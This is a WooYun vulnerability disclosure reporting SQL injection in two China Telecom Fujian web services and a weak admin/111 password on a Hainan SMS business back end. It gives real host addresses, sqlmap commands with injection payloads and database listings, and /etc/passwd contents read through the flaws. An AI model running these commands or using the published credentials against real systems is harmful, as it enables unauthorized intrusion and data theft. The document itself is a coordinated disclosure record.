当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062042

漏洞标题：中国电信三漏洞打包(SQL注射+短信业务后台弱口令)

相关厂商：中国电信

漏洞作者： 超威蓝猫

提交时间：2014-05-25 17:14

修复时间：2014-07-09 17:15

公开时间：2014-07-09 17:15

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-25： 细节已通知厂商并且等待厂商处理中
2014-05-30： 厂商已经确认，细节仅向厂商公开
2014-06-09： 细节向核心白帽子及相关领域专家公开
2014-06-19： 细节向普通白帽子公开
2014-06-29： 细节向实习白帽子公开
2014-07-09： 细节向公众公开

简要描述：

中国电信三漏洞打包(SQL注射+短信业务后台弱口令)

详细说明：

【漏洞1】

http://www.fj.bnet.cn/Page/Tool.aspx

福建电信商务领航，点击"办税导航"，在新页面中点击加号，在"添加办税导航"中选择一个地区并抓取HTTP请求。

01.jpg


注射点:

http://117.27.135.242:8080/chanjet/do/taxlogin.php


POST数据:

name=3


【漏洞2】

http://59.57.4.233:7080/icity.fj/

福建电信的手机导航站(入口http://www.153.cn 的车牌区号查询)，该地址中的icity参数存在SQL注射：

http://59.57.4.233:7080/icity.fj/changyongdianhua/list.jhtml?toPage=0&query=1&type=591cydhfz


【漏洞3】

http://0898.118114.cn/hbst/index.htm

海南电信号百商通业务后台

http://59.50.113.22:8080/hn_zwClient/index.do

存在弱口令admin/111

漏洞证明：

【漏洞1】

sqlmap.py -u "http://117.27.135.242:8080/chanjet/do/taxlogin.php" --data "name=3" --dbs --tables -D "chanjet" --file-read=/etc/passwd


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: name
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: name=3 AND 1855=1855
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: name=3 AND (SELECT 6948 FROM(SELECT COUNT(*),CONCAT(0x71646a7271,(SELECT (CASE WHEN (6948=6948) THEN 1 ELSE 0 END)),0x7162697971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 18 columns
    Payload: name=3 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71646a7271,0x5a6471715750476d7362,0x7162697971),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: name=3 AND SLEEP(5)
---
back-end DBMS: MySQL 5.0
available databases [5]:
[*] chanjet
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
Database: chanjet
[101 tables]
+------------------------+
| qb_ad_compete_place    |
| qb_ad_compete_user     |
| qb_ad_config           |
| qb_ad_norm_place       |
| qb_ad_norm_user        |
| qb_admin_menu          |
| qb_alonepage           |
| qb_area                |
| qb_article             |
| qb_article_content_100 |
| qb_article_content_101 |
| qb_article_content_102 |
| qb_article_content_103 |
| qb_article_content_104 |
| qb_article_content_105 |
| qb_article_content_106 |
| qb_article_content_107 |
| qb_article_content_108 |
| qb_article_content_109 |
| qb_article_content_110 |
| qb_article_content_111 |
| qb_article_content_112 |
| qb_article_content_113 |
| qb_article_content_114 |
| qb_article_content_115 |
| qb_article_content_116 |
| qb_article_content_117 |
| qb_article_content_118 |
| qb_article_content_119 |
| qb_article_content_121 |
| qb_article_content_122 |
| qb_article_db          |
| qb_article_module      |
| qb_channel             |
| qb_collection          |
| qb_comment             |
| qb_config              |
| qb_copyfrom            |
| qb_crontab             |
| qb_devicetoken         |
| qb_form_config         |
| qb_form_content        |
| qb_form_content_1      |
| qb_form_content_10     |
| qb_form_content_2      |
| qb_form_content_3      |
| qb_form_content_4      |
| qb_form_content_5      |
| qb_form_content_6      |
| qb_form_content_7      |
| qb_form_content_8      |
| qb_form_content_9      |
| qb_form_module         |
| qb_form_reply          |
| qb_friendlink          |
| qb_friendlink_sort     |
| qb_fu_article          |
| qb_fu_sort             |
| qb_gather_rule         |
| qb_gather_sort         |
| qb_group               |
| qb_guestbook_config    |
| qb_guestbook_content   |
| qb_guestbook_sort      |
| qb_hack                |
| qb_jfabout             |
| qb_jfsort              |
| qb_keyword             |
| qb_keyword_history     |
| qb_keywordid           |
| qb_label               |
| qb_limitword           |
| qb_memberdata          |
| qb_members             |
| qb_menu                |
| qb_module              |
| qb_moneycard           |
| qb_moneylog            |
| qb_navigationlink      |
| qb_navigationlink_sort |
| qb_newsletter          |
| qb_olpay               |
| qb_pm                  |
| qb_propagandize        |
| qb_regnum              |
| qb_reply               |
| qb_report              |
| qb_shoporderproduct    |
| qb_shoporderuser       |
| qb_sort                |
| qb_special             |
| qb_special_comment     |
| qb_spsort              |
| qb_template            |
| qb_template_bak        |
| qb_upfile              |
| qb_vote_comment        |
| qb_vote_config         |
| qb_vote_element        |
| qb_vote_topic          |
| qb_yzimg               |
+------------------------+


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
WsxcdE1:x:500:500:WsxcdE1:/home/WsxcdE1:/bin/bash
mysql:x:27:27:MySQL Server:/home/mysql:/sbin/nologin


【漏洞2】
sqlmap.py -u "http://59.57.4.233:7080/icity.fj/changyongdianhua/list.jhtml?toPage=0&query=1&type=591cydhfz" --dbs --file-read=/etc/passwd</code>

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: query
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: toPage=0&query=1%' AND 2892=2892 AND '%'='&type=591cydhfz
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: toPage=0&query=1%' AND (SELECT 8352 FROM(SELECT COUNT(*),CONCAT(0x7166746971,(SELECT (CASE WHEN (8352=8352) THEN 1 ELSE 0 END)),0x7175666e71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&type=591cydhfz
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: toPage=0&query=1%' AND SLEEP(5) AND '%'='&type=591cydhfz
---
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0
available databases [6]:
[*] dwcw
[*] icity
[*] information_schema
[*] mysql
[*] report
[*] test


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
icity:x:500:500::/home/icity:/bin/bash
mysql:x:501:501::/home/mysql:/bin/bash


【漏洞3】
可修改短信内容

02.jpg


可重置客户密码

03.jpg

修复方案：

电信更专业:)

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-05-30 10:14

厂商回复：

CNVD确认并复现所述情况，转由CNCERT协调中国电信集团公司通报处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-25 17:37 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    弱口令。。我的最爱~

  2. 2014-05-25 18:20 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    蓝猫关注电信30年。。